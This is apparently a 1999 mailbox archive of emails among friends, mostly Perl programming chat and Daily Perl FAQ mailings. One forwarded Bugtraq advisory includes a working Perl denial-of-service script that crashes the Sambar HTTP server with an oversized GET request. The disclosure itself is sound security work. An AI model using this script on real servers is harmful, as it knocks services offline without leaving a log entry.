From fancher@atlantic.net  Thu Aug 26 11:43:49 1999
Return-Path: fancher@atlantic.net
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id LAA21429 for <whitton@mail.atlantic.net>; Thu, 26 Aug 1999 11:43:49 -0400
Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id LAA25881
	for <whitton@atlantic.net>; Thu, 26 Aug 1999 11:43:49 -0400
Date: Thu, 26 Aug 1999 11:43:47 -0400 (EDT)
From: PJ <fancher@atlantic.net>
To: Travis Whitton <whitton@atlantic.net>
Subject: prime numbers
Message-ID: <Pine.LNX.3.96.990826114208.21078A-100000@cyprus.atlantic.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status: RO
X-Status: A

I wrote my version of the prime number program. I'm not sure how efficient
it is but I avoided using GOTO with lables.

#!/usr/bin/perl
@primes=$num=1;
while($num)
{
  $flag=1;
  foreach $i (@primes)
  {
    if (!($num % $i) && $i != 1)
    {
      $flag=0;$num++;
    }
  }
  if($flag)
  {
    print "$num\n";
    push (@primes, $num);$num++;
  }
}

		--PJ

From tomb@atlantic.net  Sun Sep 12 12:52:12 1999
Return-Path: tomb@atlantic.net
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id MAA02297; Sun, 12 Sep 1999 12:52:12 -0400
Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id MAA06423;
	Sun, 12 Sep 1999 12:52:12 -0400
Date: Sun, 12 Sep 1999 12:52:11 -0400 (EDT)
From: "tomb." <tomb@atlantic.net>
To: Jeremy James <jjames@atlantic.net>, Travis Whitton <whitton@atlantic.net>
Subject: cgi secure...
Message-ID: <Pine.LNX.3.96.990912125128.19105B-100000@cyprus.atlantic.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Keywords:
X-UID: 3
Status: RO
X-Status: 


http://www.phrack.com/search.phtml?view&article=3Dp55-7

t=F8mb.
   God is in the details, and the devil is in the joints.

From jjames@atlantic.net  Sun Oct  3 23:42:24 1999
Return-Path: jjames@atlantic.net
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id XAA25820; Sun, 3 Oct 1999 23:42:23 -0400
Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id XAA28410;
	Sun, 3 Oct 1999 23:42:23 -0400
Date: Sun, 3 Oct 1999 23:42:23 -0400 (EDT)
From: Jeremy James <jjames@atlantic.net>
To: Thomas Bartles <tomb@atlantic.net>, Travis Whitton <whitton@atlantic.net>,
        Last chance boy <bwindle@atlantic.net>
Subject: Forwarded mail....
Message-ID: <Pine.LNX.3.96.991003234143.13859B-100000@cyprus.atlantic.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status: RO
X-Status: 


woohooo

Jeremy James

Most people would rather die than think; in fact, they do so.
                                  --Bertrand Russell

---------- Forwarded message ----------
Date: Mon, 4 Oct 1999 00:58:40 -0000
From: Dennis Conrad <dennis@LINUXSTART.COM>
To: BUGTRAQ@SECURITYFOCUS.COM

While testing the security of the Sambar HTTP-Server I found it vulnerable
to a simple DOS attack. Sending a "GET XXXX(...a lot of Xs..)XXXX HTTP/1.0"
crashes the Server. It will die WITHOUT logging the attack.

My testing-environment:

Sambar 4.2.1
M$IE 5.0 (de)
Windows 95 C (de)

Sample exploit code follows.

Dennis Conrad (dennis@linuxstart.com)

--------------------

#!/usr/bin/perl

#########
# Sample DOS against the Sambar HTTP-Server
# This was tested against Sambar 4.2.1 running on Windows95 C
# This attack will NOT be logged! Only use it to determine if
# your Server is vulnerable!
#
# Dennis Conrad (dennis@linuxstart.com)
#

use IO::Socket;

print "+++++++++\n";
print "+ Simple DOS-attack against the Sambar HTTP-Server (tested 4.2.1)\n";
print "+ Found on the 3rd of October 1999 by dennis\@linuxstart.com\n\n";

if ($#ARGV != 0) {
        die "+ Please give the host address as argument\n"
}

opensocket ("\n");
print $remote "GET " . "X" x 99999999999999999999 . " HTTP/1.0\n\n";
close $remote;

opensocket ("\n+ The server seemed to be vulnerable to this attack\n");
close $remote;
die "+ The server does not seem to be vulnerable to this attack\n";

sub opensocket {
        $remote = IO::Socket::INET->new (
                Proto => "tcp",
                PeerAddr => $ARGV[0],
                PeerPort => "http(80)",
        ) || die "+ Can't open http-port on $ARGV[0]$_[0]";
        $remote->autoflush(1)
}

# EOF
--------------------
------
Do you do Linux? :)
Get your FREE @linuxstart.com email address at: http://www.linuxstart.com

From jjames@atlantic.net  Fri Oct  1 19:06:47 1999
Return-Path: jjames@atlantic.net
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id TAA06182; Fri, 1 Oct 1999 19:06:45 -0400
Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id TAA03923;
	Fri, 1 Oct 1999 19:06:44 -0400
Date: Fri, 1 Oct 1999 19:06:44 -0400 (EDT)
From: Jeremy James <jjames@atlantic.net>
To: Travis Whitton <whitton@atlantic.net>
cc: Thomas Bartles <tomb@atlantic.net>
Subject: Re: Revision to oneliner
In-Reply-To: <Pine.LNX.3.96.991001190115.32346A-100000@cyprus.atlantic.net>
Message-ID: <Pine.LNX.3.96.991001190516.32377A-100000@cyprus.atlantic.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status: RO
X-Status: A

what is more accurate?

and if you're going to use # to delimit a substitution you should probably
use it throughout the expression... 

s#blabla/olaola#ig

isn't very effective.. hahahaha

Jeremy James

GC/GCS/GIT/GL/GM/GPA/GS/GSS d->+ s: a-->+++$ C+++$ UBL+++$ P++++$ L+++ !E
W++ N+ o-- K++ w--- O- M- V- PS+ PE(++) Y+ PGP t+ 5- X++ R* tv--() b++>+++
DI+ D+ G+ e*>+++++ h- r++>+++@ z+(++)>+++++@

On Fri, 1 Oct 1999, Travis Whitton wrote:

> perl -pi -e 's#<a href="http://(www\.)?home\.netscape\.com/([a-zA-Z0-9_/=".\-# ]+)>#<a href="$2>#ig'
> 
> It's much more accurate this way.
> 
> --Travis Whitton
> Some people have told me they don't think a fat penguin
> really embodies the grace of Linux, which just tells me they have
> never seen an angry penguin charging at them in excess of 100 mph.
> They'd be a lot more careful about what they said if they had.
> - Linus Torvalds 
> 

From tomb@atlantic.net  Tue Sep 28 10:02:12 1999
Return-Path: tomb@atlantic.net
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id KAA21278; Tue, 28 Sep 1999 10:02:08 -0400
Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id KAA29339;
	Tue, 28 Sep 1999 10:02:08 -0400
Date: Tue, 28 Sep 1999 10:02:07 -0400 (EDT)
From: "tomb." <tomb@atlantic.net>
To: Jeremy James <jjames@atlantic.net>, Travis Whitton <whitton@atlantic.net>,
        "(; Not Hanson Boy ;)" <bwindle@atlantic.net>,
        Brian McManus <bdmac@atlantic.net>
Subject: good article about wall
Message-ID: <Pine.LNX.3.96.990928100138.14247A-100000@cyprus.atlantic.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Content-Transfer-Encoding: QUOTED-PRINTABLE
Status: RO
X-Status: 


http://www.salon.com/21st/feature/1998/10/cov_13feature.html

t=F8mb.
   God is in the details, and the devil is in the joints.

From jjames@atlantic.net  Tue Oct  5 13:46:28 1999
Return-Path: jjames@atlantic.net
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id NAA25698; Tue, 5 Oct 1999 13:46:27 -0400
Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id NAA27306;
	Tue, 5 Oct 1999 13:46:27 -0400
Date: Tue, 5 Oct 1999 13:46:26 -0400 (EDT)
From: Jeremy James <jjames@atlantic.net>
To: Jeremy James <jjames@atlantic.net>, Thomas Bartles <tomb@atlantic.net>,
        Travis Whitton <whitton@atlantic.net>
Subject: Daily Perl FAQ - How can I output my numbers with commas added? (fwd)
Message-ID: <Pine.LNX.3.96.991005134615.21939A-100000@cyprus.atlantic.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status: RO
X-Status: 

neat

Jeremy James

"Any technology sufficiently advanced is indistinguishable
 from a Perl script."           --Larry Wall

---------- Forwarded message ----------
Date: 5 Oct 1999 10:43:26 -0000
From: daily_perl@yoak.com
To: jjames@atlantic.net
Subject: Daily Perl FAQ - How can I output my numbers with commas added?


This is a daily mailing from the Perl FAQ a Day website.
For subscription info, or to have your address removed from 
the mailing list, please see http://yoak.com/daily_perl/
-- 

Question:
How can I output my numbers with commas added?

    This one will do it for you:

        sub commify {
            local $_  = shift;
            1 while s/^(-?\d+)(\d{3})/$1,$2/;
            return $_;
        }

        $n = 23659019423.2331;
        print "GOT: ", commify($n), "\n";

        GOT: 23,659,019,423.2331

    You can't just:

        s/^(-?\d+)(\d{3})/$1,$2/g;

    because you have to put the comma in and then recalculate your
    position.

    Alternatively, this commifies all numbers in a line regardless of
    whether they have decimal portions, are preceded by + or -, or
    whatever:

        # from Andrew Johnson <ajohnson@gpu.srv.ualberta.ca>
        sub commify {
           my $input = shift;
            $input = reverse $input;
            $input =~ s<(\d\d\d)(?=\d)(?!\d*\.)><$1,>g;
            return reverse $input;
        }


-- 
The contents of this message are part of the Perl FAQ:
Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day.

Where to get this document [the Perl FAQ]
   This document is posted regularly to comp.lang.perl.announce and
   several other related newsgroups. It is available in a variety of
   formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web
   at http://www.perl.com/perl/faq/ .

CREDITS
   When I first began the Perl FAQ in the late 80s, I never realized it
   would have grown to over a hundred pages, nor that Perl would ever
   become so popular and widespread. This document could not have been
   written without the tremendous help provided by Larry Wall and the
   rest of the Perl Porters.

AUTHOR AND COPYRIGHT INFORMATION
   Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights
   reserved.



-- 
139
.

From jeffy@horton.bigbrother.com  Wed Oct  6 06:50:11 1999
Return-Path: jeffy@horton.bigbrother.com
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA03225 for <whitton@mail.atlantic.net>; Wed, 6 Oct 1999 06:50:10 -0400
Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA20899
	for <whitton@atlantic.net>; Wed, 6 Oct 1999 06:50:10 -0400
Received: (qmail 16856 invoked by uid 669); 6 Oct 1999 10:43:38 -0000
Date: 6 Oct 1999 10:43:38 -0000
Message-ID: <19991006104338.16855.qmail@horton.bigbrother.com>
To: whitton@atlantic.net
From: daily_perl@yoak.com
Subject: Daily Perl FAQ - How do I convert bits into ints?
Status: RO
X-Status: 


This is a daily mailing from the Perl FAQ a Day website.
For subscription info, or to have your address removed from 
the mailing list, please see http://yoak.com/daily_perl/
-- 

Question:
How do I convert bits into ints?

    To turn a string of 1s and 0s like `10110110' into a scalar
    containing its binary value, use the pack() function (documented in
    the section on "pack" in the perlfunc manpage):

        $decimal = pack('B8', '10110110');

    Here's an example of going the other way:

        $binary_string = join('', unpack('B*', "\x29"));


-- 
The contents of this message are part of the Perl FAQ:
Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day.

Where to get this document [the Perl FAQ]
   This document is posted regularly to comp.lang.perl.announce and
   several other related newsgroups. It is available in a variety of
   formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web
   at http://www.perl.com/perl/faq/ .

CREDITS
   When I first began the Perl FAQ in the late 80s, I never realized it
   would have grown to over a hundred pages, nor that Perl would ever
   become so popular and widespread. This document could not have been
   written without the tremendous help provided by Larry Wall and the
   rest of the Perl Porters.

AUTHOR AND COPYRIGHT INFORMATION
   Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights
   reserved.



-- 
66
.

From jeffy@horton.bigbrother.com  Thu Oct  7 06:57:53 1999
Return-Path: jeffy@horton.bigbrother.com
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA14373 for <whitton@mail.atlantic.net>; Thu, 7 Oct 1999 06:57:53 -0400
Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA26455
	for <whitton@atlantic.net>; Thu, 7 Oct 1999 06:57:52 -0400
Received: (qmail 30853 invoked by uid 669); 7 Oct 1999 10:43:53 -0000
Date: 7 Oct 1999 10:43:53 -0000
Message-ID: <19991007104353.30852.qmail@horton.bigbrother.com>
To: whitton@atlantic.net
From: daily_perl@yoak.com
Subject: Daily Perl FAQ - Perl Books
Status: RO
X-Status: 


This is a daily mailing from the Perl FAQ a Day website.
For subscription info, or to have your address removed from 
the mailing list, please see http://yoak.com/daily_perl/
-- 

Question:
Perl Books

    A number of books on Perl and/or CGI programming are available. A
    few of these are good, some are ok, but many aren't worth your
    money. Tom Christiansen maintains a list of these books, some with
    extensive reviews, at
    http://www.perl.com/perl/critiques/index.html.

    The incontestably definitive reference book on Perl, written by the
    creator of Perl, is now in its second edition:

        Programming Perl (the "Camel Book"):
            Authors: Larry Wall, Tom Christiansen, and Randal Schwartz
            ISBN 1-56592-149-6      (English)
            ISBN 4-89052-384-7      (Japanese)
            URL: http://www.oreilly.com/catalog/pperl2/
        (French, German, Italian, and Hungarian translations also
        available)

    The companion volume to the Camel containing thousands of real-
    world examples, mini-tutorials, and complete programs (first
    premiering at the 1998 Perl Conference), is:

        The Perl Cookbook (the "Ram Book"):
            Authors: Tom Christiansen and Nathan Torkington, 
                        with Foreword by Larry Wall
            ISBN: 1-56592-243-3
            URL:  http://perl.oreilly.com/cookbook/

    If you're already a hard-core systems programmer, then the Camel
    Book might suffice for you to learn Perl from. But if you're not,
    check out:

        Learning Perl (the "Llama Book"):
            Authors: Randal Schwartz and Tom Christiansen 
                        with Foreword by Larry Wall
            ISBN: 1-56592-284-0
            URL:  http://www.oreilly.com/catalog/lperl2/

    Despite the picture at the URL above, the second edition of "Llama
    Book" really has a blue cover, and is updated for the 5.004 release
    of Perl. Various foreign language editions are available, including
    *Learning Perl on Win32 Systems* (the Gecko Book).

    If you're not an accidental programmer, but a more serious and
    possibly even degreed computer scientist who doesn't need as much
    hand-holding as we try to provide in the Llama or its defurred
    cousin the Gecko, please check out the delightful book, *Perl: The
    Programmer's Companion*, written by Nigel Chapman.

    You can order O'Reilly books directly from O'Reilly & Associates,
    1-800-998-9938. Local/overseas is 1-707-829-0515. If you can locate
    an O'Reilly order form, you can also fax to 1-707-829-0104. See
    http://www.ora.com/ on the Web.

    What follows is a list of the books that the FAQ authors found
    personally useful. Your mileage may (but, we hope, probably won't)
    vary.

    Recommended books on (or muchly on) Perl follow; those marked with
    a star may be ordered from O'Reilly.

    References
            *Programming Perl
                by Larry Wall, Tom Christiansen, and Randal L. Schwartz

            *Perl 5 Desktop Reference
                By Johan Vromans

    Tutorials
                    
        *Learning Perl [2nd edition]
            by Randal L. Schwartz and Tom Christiansen
                with foreword by Larry Wall
            *Learning Perl on Win32 Systems
                by Randal L. Schwartz, Erik Olson, and Tom Christiansen,
                    with foreword by Larry Wall

            Perl: The Programmer's Companion
                by Nigel Chapman

            Cross-Platform Perl 
                by Eric F. Johnson

            MacPerl: Power and Ease 
                by Vicki Brown and Chris Nandor, foreword by Matthias Neeracher

    Task-Oriented
            *The Perl Cookbook
                by Tom Christiansen and Nathan Torkington
                    with foreword by Larry Wall

            Perl5 Interactive Course [2nd edition]
                by Jon Orwant

            *Advanced Perl Programming 
                by Sriram Srinivasan

            Effective Perl Programming 
                by Joseph Hall

    Special Topics
            *Mastering Regular Expressions
                by Jeffrey Friedl

            How to Set up and Maintain a World Wide Web Site [2nd edition]
                by Lincoln Stein


-- 
The contents of this message are part of the Perl FAQ:
Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day.

Where to get this document [the Perl FAQ]
   This document is posted regularly to comp.lang.perl.announce and
   several other related newsgroups. It is available in a variety of
   formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web
   at http://www.perl.com/perl/faq/ .

CREDITS
   When I first began the Perl FAQ in the late 80s, I never realized it
   would have grown to over a hundred pages, nor that Perl would ever
   become so popular and widespread. This document could not have been
   written without the tremendous help provided by Larry Wall and the
   rest of the Perl Porters.

AUTHOR AND COPYRIGHT INFORMATION
   Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights
   reserved.



-- 
25
.

From jeffy@horton.bigbrother.com  Fri Oct  8 06:50:24 1999
Return-Path: jeffy@horton.bigbrother.com
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA25161 for <whitton@mail.atlantic.net>; Fri, 8 Oct 1999 06:50:23 -0400
Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA05575
	for <whitton@atlantic.net>; Fri, 8 Oct 1999 06:50:22 -0400
Received: (qmail 11851 invoked by uid 669); 8 Oct 1999 10:43:40 -0000
Date: 8 Oct 1999 10:43:40 -0000
Message-ID: <19991008104340.11850.qmail@horton.bigbrother.com>
To: whitton@atlantic.net
From: daily_perl@yoak.com
Subject: Daily Perl FAQ - How do I do a `tail -f' in perl?
Status: RO
X-Status: 


This is a daily mailing from the Perl FAQ a Day website.
For subscription info, or to have your address removed from 
the mailing list, please see http://yoak.com/daily_perl/
-- 

Question:
How do I do a `tail -f' in perl?

    First try

        seek(GWFILE, 0, 1);

    The statement `seek(GWFILE, 0, 1)' doesn't change the current
    position, but it does clear the end-of-file condition on the
    handle, so that the next <GWFILE> makes Perl try again to read
    something.

    If that doesn't work (it relies on features of your stdio
    implementation), then you need something more like this:

            for (;;) {
              for ($curpos = tell(GWFILE); <GWFILE>; $curpos = tell(GWFILE)) {
                # search for some stuff and put it into files
              }
              # sleep for a while
              seek(GWFILE, $curpos, 0);  # seek to where we had been
            }

    If this still doesn't work, look into the POSIX module. POSIX
    defines the clearerr() method, which can remove the end of file
    condition on a filehandle. The method: read until end of file,
    clearerr(), read some more. Lather, rinse, repeat.


-- 
The contents of this message are part of the Perl FAQ:
Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day.

Where to get this document [the Perl FAQ]
   This document is posted regularly to comp.lang.perl.announce and
   several other related newsgroups. It is available in a variety of
   formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web
   at http://www.perl.com/perl/faq/ .

CREDITS
   When I first began the Perl FAQ in the late 80s, I never realized it
   would have grown to over a hundred pages, nor that Perl would ever
   become so popular and widespread. This document could not have been
   written without the tremendous help provided by Larry Wall and the
   rest of the Perl Porters.

AUTHOR AND COPYRIGHT INFORMATION
   Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights
   reserved.



-- 
156
.

From jeffy@horton.bigbrother.com  Mon Oct 11 06:48:42 1999
Return-Path: jeffy@horton.bigbrother.com
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA31952 for <whitton@mail.atlantic.net>; Mon, 11 Oct 1999 06:48:42 -0400
Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA15784
	for <whitton@atlantic.net>; Mon, 11 Oct 1999 06:48:41 -0400
Received: (qmail 7926 invoked by uid 669); 11 Oct 1999 10:43:28 -0000
Date: 11 Oct 1999 10:43:28 -0000
Message-ID: <19991011104328.7925.qmail@horton.bigbrother.com>
To: whitton@atlantic.net
From: daily_perl@yoak.com
Subject: Daily Perl FAQ - How can I make my CGI script more efficient?
Status: RO
X-Status: 


This is a daily mailing from the Perl FAQ a Day website.
For subscription info, or to have your address removed from 
the mailing list, please see http://yoak.com/daily_perl/
-- 

Question:
How can I make my CGI script more efficient?

    Beyond the normal measures described to make general Perl programs
    faster or smaller, a CGI program has additional issues. It may be
    run several times per second. Given that each time it runs it will
    need to be re-compiled and will often allocate a megabyte or more
    of system memory, this can be a killer. Compiling into C isn't
    going to help you because the process start-up overhead is where
    the bottleneck is.

    There are two popular ways to avoid this overhead. One solution
    involves running the Apache HTTP server (available from
    http://www.apache.org/) with either of the mod_perl or mod_fastcgi
    plugin modules.

    With mod_perl and the Apache::Registry module (distributed with
    mod_perl), httpd will run with an embedded Perl interpreter which
    pre-compiles your script and then executes it within the same
    address space without forking. The Apache extension also gives Perl
    access to the internal server API, so modules written in Perl can
    do just about anything a module written in C can. For more on
    mod_perl, see http://perl.apache.org/

    With the FCGI module (from CPAN), a Perl executable compiled with
    sfio (see the INSTALL file in the distribution) and the mod_fastcgi
    module (available from http://www.fastcgi.com/) each of your perl
    scripts becomes a permanent CGI daemon process.

    Both of these solutions can have far-reaching effects on your
    system and on the way you write your CGI scripts, so investigate
    them with care.

    See http://www.perl.com/CPAN/modules/by-
    category/15_World_Wide_Web_HTML_HTTP_CGI/ .

    A non-free, commerical product, ``The Velocity Engine for Perl'',
    (http://www.binevolve.com/ or http://www.binevolve.com/bine/vep)
    might also be worth looking at. It will allow you to increase the
    performance of your perl scripts, upto 25 times faster than normal
    CGI perl by running in persistent perl mode, or 4 to 5 times faster
    without any modification to your existing CGI scripts. Fully
    functional evaluation copies are available from the web site.


-- 
The contents of this message are part of the Perl FAQ:
Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day.

Where to get this document [the Perl FAQ]
   This document is posted regularly to comp.lang.perl.announce and
   several other related newsgroups. It is available in a variety of
   formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web
   at http://www.perl.com/perl/faq/ .

CREDITS
   When I first began the Perl FAQ in the late 80s, I never realized it
   would have grown to over a hundred pages, nor that Perl would ever
   become so popular and widespread. This document could not have been
   written without the tremendous help provided by Larry Wall and the
   rest of the Perl Porters.

AUTHOR AND COPYRIGHT INFORMATION
   Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights
   reserved.



-- 
51
.

From jeffy@horton.bigbrother.com  Sat Oct  9 06:47:58 1999
Return-Path: jeffy@horton.bigbrother.com
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA03149 for <whitton@mail.atlantic.net>; Sat, 9 Oct 1999 06:47:57 -0400
Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA31650
	for <whitton@atlantic.net>; Sat, 9 Oct 1999 06:47:57 -0400
Received: (qmail 20346 invoked by uid 669); 9 Oct 1999 10:43:47 -0000
Date: 9 Oct 1999 10:43:47 -0000
Message-ID: <19991009104347.20345.qmail@horton.bigbrother.com>
To: whitton@atlantic.net
From: daily_perl@yoak.com
Subject: Daily Perl FAQ - What's a closure?
Status: RO
X-Status: 


This is a daily mailing from the Perl FAQ a Day website.
For subscription info, or to have your address removed from 
the mailing list, please see http://yoak.com/daily_perl/
-- 

Question:
What's a closure?

    Closures are documented in the perlref manpage.

    *Closure* is a computer science term with a precise but hard-to-
    explain meaning. Closures are implemented in Perl as anonymous
    subroutines with lasting references to lexical variables outside
    their own scopes. These lexicals magically refer to the variables
    that were around when the subroutine was defined (deep binding).

    Closures make sense in any programming language where you can have
    the return value of a function be itself a function, as you can in
    Perl. Note that some languages provide anonymous functions but are
    not capable of providing proper closures; the Python language, for
    example. For more information on closures, check out any textbook
    on functional programming. Scheme is a language that not only
    supports but encourages closures.

    Here's a classic function-generating function:

        sub add_function_generator {
          return sub { shift + shift };
        }

        $add_sub = add_function_generator();
        $sum = $add_sub->(4,5);                # $sum is 9 now.

    The closure works as a *function template* with some customization
    slots left out to be filled later. The anonymous subroutine
    returned by add_function_generator() isn't technically a closure
    because it refers to no lexicals outside its own scope.

    Contrast this with the following make_adder() function, in which
    the returned anonymous function contains a reference to a lexical
    variable outside the scope of that function itself. Such a
    reference requires that Perl return a proper closure, thus locking
    in for all time the value that the lexical had when the function
    was created.

        sub make_adder {
            my $addpiece = shift;
            return sub { shift + $addpiece };
        }

        $f1 = make_adder(20);
        $f2 = make_adder(555);

    Now `&$f1($n)' is always 20 plus whatever $n you pass in, whereas
    `&$f2($n)' is always 555 plus whatever $n you pass in. The
    $addpiece in the closure sticks around.

    Closures are often used for less esoteric purposes. For example,
    when you want to pass in a bit of code into a function:

        my $line;
        timeout( 30, sub { $line = <STDIN> } );

    If the code to execute had been passed in as a string, `'$line =
    <STDIN>'', there would have been no way for the hypothetical
    timeout() function to access the lexical variable $line back in its
    caller's scope.


-- 
The contents of this message are part of the Perl FAQ:
Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day.

Where to get this document [the Perl FAQ]
   This document is posted regularly to comp.lang.perl.announce and
   several other related newsgroups. It is available in a variety of
   formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web
   at http://www.perl.com/perl/faq/ .

CREDITS
   When I first began the Perl FAQ in the late 80s, I never realized it
   would have grown to over a hundred pages, nor that Perl would ever
   become so popular and widespread. This document could not have been
   written without the tremendous help provided by Larry Wall and the
   rest of the Perl Porters.

AUTHOR AND COPYRIGHT INFORMATION
   Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights
   reserved.



-- 
196
.

From jeffy@horton.bigbrother.com  Mon Oct 11 06:48:42 1999
Return-Path: jeffy@horton.bigbrother.com
Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA31952 for <whitton@mail.atlantic.net>; Mon, 11 Oct 1999 06:48:42 -0400
Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57])
	by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA15784
	for <whitton@atlantic.net>; Mon, 11 Oct 1999 06:48:41 -0400
Received: (qmail 7926 invoked by uid 669); 11 Oct 1999 10:43:28 -0000
Date: 11 Oct 1999 10:43:28 -0000
Message-ID: <19991011104328.7925.qmail@horton.bigbrother.com>
To: whitton@atlantic.net
From: daily_perl@yoak.com
Subject: Daily Perl FAQ - How can I make my CGI script more efficient?
Status: RO
X-Status: 


This is a daily mailing from the Perl FAQ a Day website.
For subscription info, or to have your address removed from 
the mailing list, please see http://yoak.com/daily_perl/
-- 

Question:
How can I make my CGI script more efficient?

    Beyond the normal measures described to make general Perl programs
    faster or smaller, a CGI program has additional issues. It may be
    run several times per second. Given that each time it runs it will
    need to be re-compiled and will often allocate a megabyte or more
    of system memory, this can be a killer. Compiling into C isn't
    going to help you because the process start-up overhead is where
    the bottleneck is.

    There are two popular ways to avoid this overhead. One solution
    involves running the Apache HTTP server (available from
    http://www.apache.org/) with either of the mod_perl or mod_fastcgi
    plugin modules.

    With mod_perl and the Apache::Registry module (distributed with
    mod_perl), httpd will run with an embedded Perl interpreter which
    pre-compiles your script and then executes it within the same
    address space without forking. The Apache extension also gives Perl
    access to the internal server API, so modules written in Perl can
    do just about anything a module written in C can. For more on
    mod_perl, see http://perl.apache.org/

    With the FCGI module (from CPAN), a Perl executable compiled with
    sfio (see the INSTALL file in the distribution) and the mod_fastcgi
    module (available from http://www.fastcgi.com/) each of your perl
    scripts becomes a permanent CGI daemon process.

    Both of these solutions can have far-reaching effects on your
    system and on the way you write your CGI scripts, so investigate
    them with care.

    See http://www.perl.com/CPAN/modules/by-
    category/15_World_Wide_Web_HTML_HTTP_CGI/ .

    A non-free, commerical product, ``The Velocity Engine for Perl'',
    (http://www.binevolve.com/ or http://www.binevolve.com/bine/vep)
    might also be worth looking at. It will allow you to increase the
    performance of your perl scripts, upto 25 times faster than normal
    CGI perl by running in persistent perl mode, or 4 to 5 times faster
    without any modification to your existing CGI scripts. Fully
    functional evaluation copies are available from the web site.


-- 
The contents of this message are part of the Perl FAQ:
Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day.

Where to get this document [the Perl FAQ]
   This document is posted regularly to comp.lang.perl.announce and
   several other related newsgroups. It is available in a variety of
   formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web
   at http://www.perl.com/perl/faq/ .

CREDITS
   When I first began the Perl FAQ in the late 80s, I never realized it
   would have grown to over a hundred pages, nor that Perl would ever
   become so popular and widespread. This document could not have been
   written without the tremendous help provided by Larry Wall and the
   rest of the Perl Porters.

AUTHOR AND COPYRIGHT INFORMATION
   Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights
   reserved.



-- 
51
.

From jeffy@horton.bigbrother.com  Tue Oct 12 06:47:20 1999
Return-Path: jeffy@horton.bigbrother.com
